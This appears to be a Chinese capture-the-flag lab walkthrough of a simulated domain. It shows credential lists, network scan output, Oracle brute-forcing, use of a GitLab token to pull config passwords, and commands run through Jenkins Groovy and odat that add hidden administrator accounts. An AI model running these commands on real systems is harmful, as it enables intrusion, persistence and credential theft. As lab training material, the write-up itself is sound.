XR-0839 | wangli | Im8WSeGlEf
XR-0840 | wangdan | qIvBQ0p1kP
XR-0841 | liuxia | B69KWIACtq
XR-0842 | zhangrui | u2KVeb683m
XR-0843 | wangdong | rEtTIU8BLD
XR-0844 | wangting | Jkunlz29eg
XR-0845 | zhangjian | Zyp9lDorhg
XR-0846 | wanghua | 74ksE5BmHc
XR-0847 | liyan | rEOAslLQR0
XR-0848 | liufeng | LUZcuoFxfG
XR-0849 | zhangbo | XHvBV4ujQc
XR-0850 | liuming | jBWDJfZ93c
XR-0851 | liujia | PmpXKckTs9
XR-0852 | chentao | 2sHutpN8iY
XR-0853 | zhangting | e3wg2nIu7Z
XR-0854 | liushuai | iY2fbz1HQB
XR-0855 | lijing | MCIcl6sgNQ
XR-0856 | wangbin | msxNSIlj8G
XR-0857 | lijian | IUilEz5SYQ
XR-0858 | zhouyong | v36CT5ILMU
XR-0859 | liudan | AKkCpEnLvx
XR-0860 | yangbin | yE9G3VSnsO
XR-0861 | liupeng | ryLTgeDZhI
XR-0862 | chenjun | kngEGACsQh
XR-0863 | wangbo | FbK6fsiPBn
XR-0864 | libin | b2BcHWCEYO
XR-0865 | zhaowei | 2hrJ64tgqG
XR-0866 | lijuan | XBkgKysUbz
XR-0867 | chenchao | oDU7vPZ84B
XR-0868 | wangming | vKpV13DemJ
XR-0869 | lifang | TbzE3tWF4y
XR-0870 | wangtao | yaxpPWRkiB
XR-0871 | liufang | Fde8Gt1bmq
XR-0872 | litao | VCurpwXIA4
XR-0873 | yangling | PInqR2xBK0
XR-0874 | yangxue | sxjQ75mLzK
XR-0875 | liubin | sWeharCdXE
XR-0876 | yangyang | FZ6r8LMA5U
XR-0877 | xuwei | 0B4Du1h7zV
XR-0878 | chenyong | Folq5iOnej
XR-0879 | yangbo | ZlIs9LYNeW
XR-0880 | zhanghua | oFHU1Z0VKM
XR-0881 | zhaomin | IafjNO3Hib
XR-0882 | chenping | qJQXKkVpFP
XR-0883 | zhanglei | 61kcLxqTiu
XR-0884 | zhangliang | j5Ls2Hub3i
XR-0885 | zhangtao | 5PAcQGy461
XR-0886 | zhangxue | eY3DrwsijQ
XR-0887 | liqian | 7jHvompSTN
XR-0888 | liwei | wjTFE8x0IY
XR-0889 | chenbin | sm7lR86Y4p
XR-0890 | zhangyun | mWzkyDJMRq
XR-0891 | wangxue | pfR5VoUZO1
XR-0892 | zhouwei | oN3Sd60khs
XR-0893 | likai | QwzvK1qm4j
XR-0894 | gaofeng | 5fQvjFU1uN
XR-0895 | wanglei | 1apTkBr9Y6
XR-0896 | lijun | cVBI8nsCwA
XR-0897 | liuwei | 0VBecvT4Au
XR-0898 | wanggang | rCGB4wFh5X
XR-0899 | liuping | UQaX9DBLbJ
XR-0900 | zhangning | SLqJiM1QTy
XR-0901 | libing | ZgXlj6VKPu
XR-0902 | zhangchao | tSBpVjiYh8
XR-0903 | zhangxia | hRlYXkqceC
XR-0904 | limin | s3I4lFctoE
XR-0905 | liulei | V5rsKkeWSJ
XR-0906 | wangling | lL7QinBydG
XR-0907 | zhangfei | jO1xtU6hP4
XR-0908 | chenlong | wKDFqcOfmp
XR-0909 | liufei | 36BjIW1VgH
XR-0910 | chenli | eYiOh4jWUq
XR-0911 | chenyan | oad8rYbwfs
XR-0912 | chenpeng | US2Am1iIk8
XR-0913 | wangrui | DTZ1xgz3cS
XR-0914 | zhangfeng | SHxNByGuwX
XR-0915 | yanglin | riwW3UkI4o
XR-0916 | liutao | HFVUOZEPpL
XR-0917 | liyong | wZyEuVvOjQ
XR-0918 | wangna | 6i840wmbv1
XR-0919 | wangjuan | fJv4PKASzb
XR-0920 | wanghui | 7qT4wcMSGv
XR-0921 | lilong | pHTkl3dEIU
XR-0922 | lili | 0LRQxIuV9t
XR-0923 | zhangshuai | wSbEajHzZs
XR-0924 | zhangfan | TrfCMlmY59
XR-0925 | liujing | gtOslNQDB2
XR-0926 | liuqian | tqX9DVLTHI
XR-0927 | yangfang | sa18OlILmB
XR-0928 | chenqiang | VEKnlwgFpU
XR-0929 | liqiang | pZbj7z9H8v
XR-0930 | yangjun | pqahdFK2PZ
XR-0931 | chenbo | 78SmUu1gfi
XR-0932 | zhangyong | CS4sx0MvUF
XR-0933 | wangliang | 4vV6UjqzOQ
XR-0934 | wangxu | UfTgi40DV9
XR-0935 | chenhua | lWS207vdOf
XR-0936 | zhouli | DuMiQOb0qK
XR-0937 | liubing | NXwAreabgd
XR-0938 | zhaojing | Ru3Gen8YBM
XR-0939 | yangyan | IHrpmeTNfl
XR-0940 | chenfang | d3nUGRgs24
XR-0941 | zhanghao | Yu0ZbEKFIT
XR-0942 | wangyun | 0rwTmed8SJ
XR-0943 | zhangxin | 8vPF5hzoAa
XR-0944 | zhangwei | YLwUpHNS6X
XR-0945 | wangping | FqhfMozSXp
XR-0946 | wangkai | D04bXHTKpc
XR-0947 | liuchang | Ue60X3sGrS
XR-0948 | lixue | CHbgqOTeIc
XR-0949 | lina | rwanydljVu
XR-0950 | liwen | edc0M7yvQu
XR-0951 | liming | yziSjWBoCH
XR-0952 | liling | wmdjRaIBAS
XR-0953 | chenwei | xcqN5VPbCM
XR-0954 | lihao | iUpmDYS2CL
XR-0955 | wanglin | 5pgFojT6wI
XR-0956 | zhanglin | x7OgKTdhyQ
XR-0957 | xumin | QuMKRHoB3U
XR-0958 | liuyan | g1wN7ydrLh
XR-0959 | zhangmin | e9XBQqEtPp
XR-0960 | zhangqiang | vcKRYUDOGL
XR-0961 | yangchao | MhUkEeWYBF
XR-0962 | yanghua | fZUCSaoiIt
XR-0963 | ligang | CdgFjNf1Mk
XR-0964 | liuxin | knHhJmBwEM
XR-0965 | liuhuan | pZSHNhjkq9
XR-0966 | lifeng | jRAkFxLT5e
XR-0967 | liugang | YA2mVzSs5K
XR-0968 | yangtao | 4b32TQLP6y
XR-0969 | liuhao | 0EPZ6Fyism
XR-0970 | lichao | ultLQzWN34
XR-0971 | yanghong | Ig2BNLMuWf
XR-0972 | chenhong | Q4eOjNym6S
XR-0973 | sunwei | drjUYgi3T0
XR-0974 | zhanghong | sRkmQIB5La
XR-0975 | zhangdan | b2HoSCuhaM
XR-0976 | liumin | FPRm6W7wGs
XR-0977 | wangmei | yq7MVcj4se
XR-0978 | zhangjing | WR4Ef16FiU
XR-0979 | liujun | DEwYySf6Ni
XR-0980 | wangyong | h9XMZiEv0g
XR-0981 | huangyong | DgoIyPSTHZ
XR-0982 | lixiang | TAoPcpiF3g
XR-0983 | zhoujie | YrlB2gMuxF
XR-0984 | liuchao | ijaDY4Ilr3
XR-0985 | liuna | 6xn2jo17SE
XR-0986 | wangjing | 65MhGVI0oL
XR-0987 | liuling | MjmN9ahSLR
XR-0988 | chenjing | ha23yfqcPg
XR-0989 | wangqin | MsdW85gzFL
XR-0990 | wanglong | O3oD1lscAK
XR-0991 | chenlei | 3vtAJqzrYB
XR-0992 | yangjie | fuTBeq6z51
XR-0993 | zhangjun | l02GAEUHq9
XR-0994 | yangming | N3bYUqfenc
XR-0995 | zhangmei | S7DG5bgXtN
XR-0996 | wangrong | 2BPmaxilGq
XR-0997 | zhangpeng | BHOqDmCXMn
XR-0998 | liuyun | CB7sxbk84I
XR-0999 | wangkun | KuJH519OWg
XR-01000 | chenmin | e4gQGHorq3
XR-01001 | liqin | 4zEJkYPIpq
XR-01002 | wangfang | FTVYd4W02u
XR-01003 | liuhua | P9ndfu8wGh
XR-01004 | zhangqin | 0f1JTN5Qqp
XR-01005 | zhanglong | nH8mDpRbcN
XR-01006 | zhangjie | cTVwM25y3h
XR-01007 | liliang | Rf6zXV0YEI
XR-01008 | liyun | 3hxTmEoMBl
XR-01009 | wangcheng | Boy4Ezp987
XR-01010 | yangjing | gjhbXHcLW0
XR-01011 | chenying | koGFcPeBmi
XR-01012 | lihua | nSOjeYV3Nr
XR-01013 | liumei | yxAm2nWNp9
XR-01014 | yangjuan | Gpe6Au2hxF
XR-01015 | lidan | ogDLzMhCVP
XR-01016 | liyang | nDWvGhNMoe
XR-01017 | zhaojun | XtfZYOxeDJ
作罢，这里看了wp说可以执行系统命令添加用户
println "net user test Admin123. /add".execute().text
println "net localgroup administrators test /add".execute().text
试试RDP上去
ok的
信息收集
fscan扫描
fscan_2.2.0_windows_x64.exe -h 172.22.14.0/24
┌──────────────────────────────────────────────┐
│ ___ _ │
│ / _ \ ___ ___ _ __ __ _ ___| | __ │
│ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / │
│ / /_\\_____\__ \ (__| | | (_| | (__| < │
│ \____/ |___/\___|_| \__,_|\___|_|\_\ │
└──────────────────────────────────────────────┘
Fscan 2.2.0 (bf036fd 2026-07-10T05:57:56Z)
[*] 服务插件: rsync, activemq, smb, modbus, mqtt ... 等36个
[*] 172.22.14.7 存活 (协议: ICMP)
[*] 172.22.14.11 存活 (协议: ICMP)
[*] 172.22.14.16 存活 (协议: ICMP)
[*] 172.22.14.31 存活 (协议: ICMP)
[*] 172.22.14.46 存活 (协议: ICMP)
[*] ICMP响应率过低(2.0%)，启用TCP补充探测(249个主机)
[*] 参数自适应: Timeout=1361ms, ModuleThread=5, Retry=6, ICMPRate=0.05, PocNum=5
[*] 172.22.14.16:22 ssh [Product:OpenSSH ||Version:7.4] Banner:(SSH-2.0-OpenSSH_7.4)
[*] 172.22.14.11:445 microsoft-ds [Product:Microsoft Windows SMB2] Banner:(SMB@ A ]} 1n7 O , r 6 x `v + l0j <0: + 7 * H * H * H + 7 *0( & $not_defined_in_R...)
[-] 插件扫描错误 172.22.14.11:445 - 目标可能不支持SMBv1
[+] SMBInfo 172.22.14.11:445 [Windows 10 (Build 20348)] XR-DC SMBv2
[*] https://172.22.14.46:3389 ssl Banner:(O M j IT W X dCj C+ sE Z ( q5n K A : iF] / 0 0 . 4^H J X 0 * H 0 1 0 U XR-0923.x...)
[*] 172.22.14.7:3306 mysql [Product:MySQL] Banner:(C j Host 'XR-JENKINS' is not allowed to connect to this MySQL server)
[*] https://172.22.14.31:3389 ssl Banner:(9 M j IT 8 0 g Q j [ _ # W @) m j # 1 ' / 0 0 h D 8 6 Y0 * H 0 1 0 U XR-ORACLE0 ...)
[+] RDP 172.22.14.46:3389 [OS:Windows Server 2022, Build:Windows 10.0.20348, Hostname:XR-0923, DNSDomain:xiaorang.lab, FQDN:XR-0923.xiaorang.lab, NetBIOSDomain:XIAORANG]
[+] RDP 172.22.14.31:3389 [OS:Windows Server 2019, Version 1809/Windows 10, Version 1809, Build:Windows 10.0.17763, Hostname:XR-ORACLE, DNSDomain:WORKGROUP, FQDN:XR-ORACLE, NetBIOSDomain:WORKGROUP]
[-] 172.22.14.16:22 ssh 未发现弱密码
[*] http://172.22.14.7 http [Product:Open Lighting Architecture daemon] Banner:(HTTP/1.1 301 Moved Permanently Date: Fri, 28 Aug 2026 08:39:48 GMT Server: Apach...)
[*] http://172.22.14.46 http [Product:Open Lighting Architecture daemon] Banner:(HTTP/1.1 200 OK Content-Type: text/html Last-Modified: Mon, 26 Dec 2022 03:04:03...)
[-] 插件扫描错误 172.22.14.46:3389 - Get "https://172.22.14.46:3389": remote error: tls: internal error
[-] 插件扫描错误 172.22.14.31:3389 - Get "https://172.22.14.31:3389": remote error: tls: internal error
[*] POC加载完成: 总共387个，成功387个，失败0个
[+] http://172.22.14.46 code:200 len:703 title:IIS Windows Server server:Microsoft-IIS/10.0 [iis]
[*] http://172.22.14.16 http [Product:nginx] Banner:(HTTP/1.1 302 Found Server: nginx Date: Fri, 28 Aug 2026 08:39:49 GMT Content-Typ...)
[*] https://172.22.14.7:3389 ssl Banner:(; M j IU 7 7 7 v 2 # << -PD< A) & u F h5 / 0 0 g T N. ` 0 * H 0 1 0 U XR-JENKINS...)
[+] RDP 172.22.14.7:3389 [OS:Windows Server 2019, Version 1809/Windows 10, Version 1809, Build:Windows 10.0.17763, Hostname:XR-JENKINS, DNSDomain:WORKGROUP, FQDN:XR-JENKINS, NetBIOSDomain:WORKGROUP]
[*] https://172.22.14.11:3389 ssl Banner:(K M j IU )T7 7 S 2 4 2 p $ 38 s P OF|L K = k / 0 0 kb 6 { B;w A'0 * H 0 1 0 U XR...)
[+] RDP 172.22.14.11:3389 [OS:Windows Server 2022, Build:Windows 10.0.20348, Hostname:XR-DC, DNSDomain:xiaorang.lab, FQDN:XR-DC.xiaorang.lab, NetBIOSDomain:XIAORANG]
[-] 插件扫描错误 172.22.14.7:3389 - Get "https://172.22.14.7:3389": remote error: tls: internal error
[-] 插件扫描错误 172.22.14.11:3389 - Get "https://172.22.14.11:3389": remote error: tls: internal error
[*] 172.22.14.7:445 microsoft-ds [Product:Microsoft Windows SMB2] Banner:(SMB@ A ms I 4 mk 6 * `( + 0 0 + 7 + 7)
[-] 插件扫描错误 172.22.14.7:445 - 目标可能不支持SMBv1
[+] SMBInfo 172.22.14.7:445 [Windows 10 (Build 17763)] XR-JENKINS SMBv2
[*] 172.22.14.31:445 microsoft-ds [Product:Microsoft Windows SMB2] Banner:(SMB@ A B 7X4 G _S e*2 xjw 6 * `( + 0 0 + 7 + 7)
[-] 插件扫描错误 172.22.14.31:445 - 目标可能不支持SMBv1
[+] SMBInfo 172.22.14.31:445 [Windows 10 (Build 17763)] XR-ORACLE SMBv2
[*] 172.22.14.46:445 microsoft-ds [Product:Microsoft Windows SMB2] Banner:(SMB@ A iWMI rC M ) q C 6 x `v + l0j <0: + 7 * H * H * H + 7 *0( & $not_defined_i...)
[-] 插件扫描错误 172.22.14.46:445 - 目标可能不支持SMBv1
[+] SMBInfo 172.22.14.46:445 [Windows 10 (Build 20348)] XR-0923 SMBv2
[+] http://172.22.14.16 code:302 len:99 title:Sign in · GitLab server:nginx [nginx gitlab ipeakcms webp_server_go]
[*] http://172.22.14.7:8080 http [Product:Open Lighting Architecture daemon] Banner:(HTTP/1.1 403 Forbidden Date: Fri, 28 Aug 2026 08:39:52 GMT X-Content-Type-Option...)
[+] http://172.22.14.7:8080 code:403 len:548 title:None server:Jetty(10.0.12) [jenkins jetty]
[*] 172.22.14.11:88 spark [Product:Apache Spark]
[-] 172.22.14.11:445 smb 未发现弱密码
[*] http://172.22.14.7:139 http [Product:Open Lighting Architecture daemon]
[-] 插件扫描错误 172.22.14.7:139 - 读取SMB Session Setup响应失败: EOF
[-] 插件扫描错误 172.22.14.7:139 - SMB协议探测失败: 读取SMBv2协商响应失败: 消息长度过大: 2197815297
[-] 插件扫描错误 172.22.14.7:139 - Get "http://172.22.14.7:139": net/http: HTTP/1.x transport connection broken: malformed HTTP response "\x83\x00\x00\x01\x8f"
[*] http://172.22.14.11:139 http [Product:Open Lighting Architecture daemon]
[-] 插件扫描错误 172.22.14.11:139 - 读取SMB Session Setup响应失败: EOF
[-] 插件扫描错误 172.22.14.11:139 - SMB协议探测失败: 读取SMBv2协商响应失败: 消息长度过大: 2197815297
[-] 插件扫描错误 172.22.14.11:139 - Get "http://172.22.14.11:139": net/http: HTTP/1.x transport connection broken: malformed HTTP response "\x83\x00\x00\x01\x8f"
[*] http://172.22.14.31:139 http [Product:Open Lighting Architecture daemon]
[-] 插件扫描错误 172.22.14.31:139 - 读取SMB Session Setup响应失败: EOF
[-] 插件扫描错误 172.22.14.31:139 - SMB协议探测失败: 读取SMBv2协商响应失败: 消息长度过大: 2197815297
[*] http://172.22.14.46:139 http [Product:Open Lighting Architecture daemon]
[-] 插件扫描错误 172.22.14.46:139 - 读取SMB Session Setup响应失败: EOF
[-] 插件扫描错误 172.22.14.46:139 - SMB协议探测失败: 读取SMBv2协商响应失败: 消息长度过大: 2197815297
[+] http://172.22.14.7 code:200 len:54736 title:XR SHOP server:Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02 [apache-http ipeakcms webp_server_go wordpress apache/2.4.39 php/7.4.3 openssl/1.1.1b]
[-] 插件扫描错误 172.22.14.31:139 - Get "http://172.22.14.31:139": net/http: HTTP/1.x transport connection broken: malformed HTTP response "\x83\x00\x00\x01\x8f"
[-] 插件扫描错误 172.22.14.46:139 - Get "http://172.22.14.46:139": net/http: HTTP/1.x transport connection broken: malformed HTTP response "\x83\x00\x00\x01\x8f"
[-] 172.22.14.46:445 smb 未发现弱密码
[*] 172.22.14.11:389 genetec-5400 [Product:Genetec Security Center] Banner:(0 d 0 ~0 domainFunctionality1 70 forestFunctionality1 70 ( domainControllerFunct...)
[*] 172.22.14.11:636
[-] 172.22.14.11:389 ldap 未发现弱密码
[-] 172.22.14.11:636 ldap 未发现弱密码
[*] 172.22.14.11:3269
[-] 172.22.14.11:3269 ldap 未发现弱密码
[*] 172.22.14.11:53 domain [Product:Simple DNS Plus] Banner:(version bind)
[*] 172.22.14.7:135 msrpc [Product:Microsoft Windows RPC] Banner:(@)
[+] NetInfo 172.22.14.7:135 [XR-JENKINS]
[+] NetInfo 172.22.14.7:135 -> 172.22.14.7
[*] 172.22.14.11:135 msrpc [Product:Microsoft Windows RPC] Banner:(@)
[+] NetInfo 172.22.14.11:135 [XR-DC]
[+] NetInfo 172.22.14.11:135 -> 172.22.14.11
[*] 172.22.14.31:135 msrpc [Product:Microsoft Windows RPC] Banner:(@)
[*] 172.22.14.11:3268 genetec-5400 [Product:Genetec Security Center] Banner:(0 d 0 ~0 domainFunctionality1 70 forestFunctionality1 70 ( domainControllerFunct...)
[*] 172.22.14.46:135 msrpc [Product:Microsoft Windows RPC] Banner:(@)
[+] NetInfo 172.22.14.31:135 [XR-ORACLE]
[+] NetInfo 172.22.14.31:135 -> 172.22.14.31
[+] NetInfo 172.22.14.46:135 [XR-0923]
[+] NetInfo 172.22.14.46:135 -> 172.22.14.46
[-] 172.22.14.11:3268 ldap 未发现弱密码
[*] http://172.22.14.11:5985 http [Product:Open Lighting Architecture daemon] Banner:(HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microso...)
[*] http://172.22.14.11:5985 code:404 len:315 title:Not Found server:Microsoft-HTTPAPI/2.0
[*] http://172.22.14.46:5985 http [Product:Open Lighting Architecture daemon] Banner:(HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microso...)
[*] http://172.22.14.46:5985 code:404 len:315 title:Not Found server:Microsoft-HTTPAPI/2.0
[*] 172.22.14.31:1521
端口扫描中（33线程） ● 100.0% [==============================] (665/665) 27/s TCP:2789/1907
[完成] 扫描完成: 665/665 (耗时: 24.5s)
[*] 存活主机数: 5
[*] 扫描完成，发现 31 个开放端口
[-] 172.22.14.7:3306 mysql 未发现弱密码
[-] 172.22.14.31:445 smb 未发现弱密码
[-] 172.22.14.7:445 smb 未发现弱密码
[-] 172.22.14.31:1521 oracle 未发现弱密码
总览
| IP 地址 | 主机名 | 操作系统 | 关键开放端口 | 用途/备注 |
|---|---|---|---|---|
| 172.22.14.7 | XR-JENKINS | Windows Server 2019 (Build 17763) | 80 (Apache/2.4.39)、8080 (Jenkins)、445 (SMB)、3389 (RDP)、3306 (MySQL) | Jenkins 服务器，也是当前入侵的跳板机 |
| 172.22.14.11 | XR-DC | Windows Server 2022 (Build 20348) | 53 (DNS)、88 (Spark)、389/636/3268/3269 (LDAP)、445 (SMB)、3389 (RDP) | 域控服务器 (xiaorang.lab) |
| 172.22.14.16 | — | — | 22 (SSH)、80 (nginx/GitLab) | GitLab 服务器 |
| 172.22.14.31 | XR-ORACLE | Windows Server 2019 (Build 17763) | 1521 (Oracle)、445 (SMB)、3389 (RDP) | Oracle 数据库服务器 |
| 172.22.14.46 | XR-0923 | Windows Server 2022 (Build 20348) | 80 (IIS)、445 (SMB)、3389 (RDP) | 普通 Windows 主机 |
把ip写进hosts
echo "172.22.14.16 gitlab.xiaorang.lab" >> /etc/hosts
爆破Oracle
proxychains -q python Oracle数据库爆破.py -t 172.22.14.31 -u users.txt -pwd pass.txt
没爆出来
之前读取的是Internal Secret，这次读取xradmin
import groovy.json.JsonSlurper
def token = "glpat-7kD_qLH2PiQv_ywB9hz2"
def projectId = 4 // xradmin
def gitlabUrl = "http://gitlab.xiaorang.lab/api/v4/projects/${projectId}/repository/tree?ref=main&per_page=100"
def conn = new URL(gitlabUrl).openConnection()
conn.setRequestProperty("PRIVATE-TOKEN", token)
conn.connect()
def response = conn.content.text
println "响应状态码: ${conn.responseCode}"
println "=== xradmin 根目录 ==="
def files = new JsonSlurper().parseText(response)
files.each { f ->
println("类型: ${f.type}, 名称: ${f.name}, 路径: ${f.path}")
}
响应
响应状态码: 200
=== xradmin 根目录 ===
类型: tree, 名称: bin, 路径: bin
类型: tree, 名称: doc, 路径: doc
类型: tree, 名称: ruoyi-admin, 路径: ruoyi-admin
类型: tree, 名称: ruoyi-common, 路径: ruoyi-common
类型: tree, 名称: ruoyi-framework, 路径: ruoyi-framework
类型: tree, 名称: ruoyi-generator, 路径: ruoyi-generator
类型: tree, 名称: ruoyi-quartz, 路径: ruoyi-quartz
类型: tree, 名称: ruoyi-system, 路径: ruoyi-system
类型: tree, 名称: sql, 路径: sql
类型: blob, 名称: .gitignore, 路径: .gitignore
类型: blob, 名称: LICENSE, 路径: LICENSE
类型: blob, 名称: README.md, 路径: README.md
类型: blob, 名称: pom.xml, 路径: pom.xml
类型: blob, 名称: ry.sh, 路径: ry.sh
Result: [{id=97a2493b92f2051c2a21c2d0915f9038f3ba3f84, mode=040000, name=bin, path=bin, type=tree}, {id=795a6d159c6ed8f635816e88801cde85a6642e42, mode=040000, name=doc, path=doc, type=tree}, {id=6a4cd257aa8ef3055fa126fc006cb8a72cfcc85b, mode=040000, name=ruoyi-admin, path=ruoyi-admin, type=tree}, {id=446821a5f5a2b4e597325c82c7374c2f8e21711e, mode=040000, name=ruoyi-common, path=ruoyi-common, type=tree}, {id=49744c20138f3c88c66dec2f1a528571f0e8a3d8, mode=040000, name=ruoyi-framework, path=ruoyi-framework, type=tree}, {id=e46669b2f9bad75aa28c865e159ab58b3c5f3615, mode=040000, name=ruoyi-generator, path=ruoyi-generator, type=tree}, {id=93f36f4b6ccb87b2d90159707e0482b6621fe34f, mode=040000, name=ruoyi-quartz, path=ruoyi-quartz, type=tree}, {id=db12a6dcbdea6703a4fa9c4a14de6b254d31f48d, mode=040000, name=ruoyi-system, path=ruoyi-system, type=tree}, {id=6f402c781790fb3b6c3b7b3f493690efdc4a1b3c, mode=040000, name=sql, path=sql, type=tree}, {id=4916f7a264bd77c84d539fee3d7dc94f05c096dc, mode=100644, name=.gitignore, path=.gitignore, type=blob}, {id=bc23291c0537fe63a0b88ab3e64cfff4ee315603, mode=100644, name=LICENSE, path=LICENSE, type=blob}, {id=f51673744b1ed39e22c28def6ec6994d93114cfe, mode=100644, name=README.md, path=README.md, type=blob}, {id=a46b7c07ceef90d135b7b027c22be29a51a57e56, mode=100644, name=pom.xml, path=pom.xml, type=blob}, {id=149812766f0ba3e6c40acad49b2cf899061e934e, mode=100644, name=ry.sh, path=ry.sh, type=blob}]
查看 ruoyi-admin/src/main/resources 目录
groovy
import groovy.json.JsonSlurper
def token = "glpat-7kD_qLH2PiQv_ywB9hz2"
def projectId = 4
def gitlabUrl = "http://gitlab.xiaorang.lab/api/v4/projects/${projectId}/repository/tree?ref=main&path=ruoyi-admin/src/main/resources&per_page=100"
def conn = new URL(gitlabUrl).openConnection()
conn.setRequestProperty("PRIVATE-TOKEN", token)
conn.connect()
def response = conn.content.text
println "响应状态码: ${conn.responseCode}"
println "=== ruoyi-admin/src/main/resources 目录 ==="
def files = new JsonSlurper().parseText(response)
files.each { f ->
println("类型: ${f.type}, 名称: ${f.name}, 路径: ${f.path}")
}
响应：
响应状态码: 200
=== ruoyi-admin/src/main/resources 目录 ===
类型: tree, 名称: ehcache, 路径: ruoyi-admin/src/main/resources/ehcache
类型: tree, 名称: mybatis, 路径: ruoyi-admin/src/main/resources/mybatis
类型: tree, 名称: static, 路径: ruoyi-admin/src/main/resources/static
类型: tree, 名称: templates, 路径: ruoyi-admin/src/main/resources/templates
类型: blob, 名称: application-druid.yml, 路径: ruoyi-admin/src/main/resources/application-druid.yml
类型: blob, 名称: application.yml, 路径: ruoyi-admin/src/main/resources/application.yml
类型: blob, 名称: banner.txt, 路径: ruoyi-admin/src/main/resources/banner.txt
类型: blob, 名称: logback.xml, 路径: ruoyi-admin/src/main/resources/logback.xml
Result: [{id=663fdb06f0461ba2759faae12e7665dd4c6c5917, mode=040000, name=ehcache, path=ruoyi-admin/src/main/resources/ehcache, type=tree}, {id=52ec0b2879b512fcbae74974ef70458a294caad7, mode=040000, name=mybatis, path=ruoyi-admin/src/main/resources/mybatis, type=tree}, {id=b390b8a3c9f51c2aac95b197d40e10ffe69165c4, mode=040000, name=static, path=ruoyi-admin/src/main/resources/static, type=tree}, {id=52825144eb211317f58d2ac888671fc8f730ae16, mode=040000, name=templates, path=ruoyi-admin/src/main/resources/templates, type=tree}, {id=cdd9ea44100c134532932e2c0e6b902abe7d6e6d, mode=100644, name=application-druid.yml, path=ruoyi-admin/src/main/resources/application-druid.yml, type=blob}, {id=8bd2e3c6f316eede42f1a0f205fd276678c6d557, mode=100644, name=application.yml, path=ruoyi-admin/src/main/resources/application.yml, type=blob}, {id=6bdf82b8bd283ce5c0b5c2349092ec4de012b6bc, mode=100644, name=banner.txt, path=ruoyi-admin/src/main/resources/banner.txt, type=blob}, {id=d69a5720739777fb1bc9feef127220071296d5ca, mode=100644, name=logback.xml, path=ruoyi-admin/src/main/resources/logback.xml, type=blob}]
读取 ruoyi-admin/src/main/resources/application.yml
import groovy.json.JsonSlurper
def token = "glpat-7kD_qLH2PiQv_ywB9hz2"
def projectId = 4
def filePath = "ruoyi-admin/src/main/resources/application-druid.yml"
def encodedPath = URLEncoder.encode(filePath, "UTF-8")
def gitlabUrl = "http://gitlab.xiaorang.lab/api/v4/projects/${projectId}/repository/files/${encodedPath}/raw?ref=main"
def conn = new URL(gitlabUrl).openConnection()
conn.setRequestProperty("PRIVATE-TOKEN", token)
conn.connect()
println "响应状态码: ${conn.responseCode}"
println "=== ${filePath} 内容 ==="
println conn.content.text
得到账密：
username: xradmin
password: fcMyE8t9E4XdsKf
172.22.14.31
数据库连接
试试其他工具
# 先测试连接
proxychains -q python3 odat.py tnscmd -s 172.22.14.31 -p 1521 -d ORCL
# 添加用户（使用 --sysdba 参数）
proxychains -q python3 odat.py dbmsscheduler -s 172.22.14.31 -p 1521 -d ORCL -U xradmin -P fcMyE8t9E4XdsKf --sysdba --exec 'net user hack Admin123. /add'
# 添加到管理员组
proxychains -q python3 odat.py dbmsscheduler -s 172.22.14.31 -p 1521 -d ORCL -U xradmin -P fcMyE8t9E4XdsKf --sysdba --exec 'net localgroup Administrators hack /add'
rdp
okk
__ _ _ (_) _
/ _` | ___ ___ __| | o O O | | ___ | |__
\__, | / _ \ / _ \ / _` | o _/ | / _ \ | '_ \
|___/ \___/ \___/ \__,_| TS__[O] |__/_ \___/ |_.__/
_|"""""|_|"""""|_|"""""|_|"""""| {======|_|"""""|_|"""""|_|"""""|
"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'./o--000'"`-0-0-'"`-0-0-'"`-0-0-'
flag02: flag{b2b9e1a1-43a1-4aa4-bfab-32fe5466eada}
172.22.14.46
之前我们拿到了一个用户名和密码字典，尝试爆破一下
proxychains -q crackmapexec winrm 172.22.14.46 -u users.txt -p pass.txt
得到
zhangshuai:wSbEajHzZs
RDP
信息收集
C:\Users\zhangshuai>systeminfo
主机名: XR-0923
OS 名称: Microsoft Windows Server 2022 Datacenter
OS 版本: 10.0.20348 暂缺 Build 20348
OS 制造商: Microsoft Corporation
OS 配置: 成员服务器
OS 构建类型: Multiprocessor Free
注册的所有人:
注册的组织: Aliyun
产品 ID: 00454-60000-00001-AA283
初始安装日期: 2022/12/26, 10:15:03
系统启动时间: 2026/8/28, 16:03:39
系统制造商: Alibaba Cloud
系统型号: Alibaba Cloud ECS
系统类型: x64-based PC
处理器: 安装了 1 个处理器。
[01]: Intel64 Family 6 Model 85 Stepping 7 GenuineIntel ~2500 Mhz
BIOS 版本: SeaBIOS 449e491, 2014/4/1
Windows 目录: C:\Windows
系统目录: C:\Windows\system32
启动设备: \Device\HarddiskVolume1
系统区域设置: zh-cn;中文(中国)
输入法区域设置: zh-cn;中文(中国)
时区: (UTC+08:00) 北京，重庆，香港特别行政区，乌鲁木齐
物理内存总量: 3,950 MB
可用的物理内存: 2,398 MB
虚拟内存: 最大值: 5,358 MB
虚拟内存: 可用: 3,943 MB
虚拟内存: 使用中: 1,415 MB
页面文件位置: C:\pagefile.sys
域: xiaorang.lab
登录服务器: \\XR-0923
修补程序: 安装了 3 个修补程序。
[01]: KB5020619
[02]: KB5019081
[03]: KB5017399
网卡: 安装了 1 个 NIC。
[01]: Red Hat VirtIO Ethernet Adapter
连接名: 以太网 2
启用 DHCP: 是
DHCP 服务器: 172.22.255.253
IP 地址
[01]: 172.22.14.46
[02]: fe80::a477:6591:f662:213f
Hyper-V 要求: 已检测到虚拟机监控程序。将不显示 Hyper-V 所需的功能。
C:\Users\zhangshuai>whoami /all
用户信息
----------------
用户名 SID
================== =============================================
xr-0923\zhangshuai S-1-5-21-754105099-1176710061-2177073800-1001
组信息
-----------------
组名 类型 SID 属性
====================================== ====== ============ ==============================
Everyone 已知组 S-1-1-0 必需的组, 启用于默认, 启用的组
BUILTIN\Remote Desktop Users 别名 S-1-5-32-555 必需的组, 启用于默认, 启用的组
BUILTIN\Remote Management Users 别名 S-1-5-32-580 必需的组, 启用于默认, 启用的组
BUILTIN\Users 别名 S-1-5-32-545 必需的组, 启用于默认, 启用的组
NT AUTHORITY\REMOTE INTERACTIVE LOGON 已知组 S-1-5-14 必需的组, 启用于默认, 启用的组
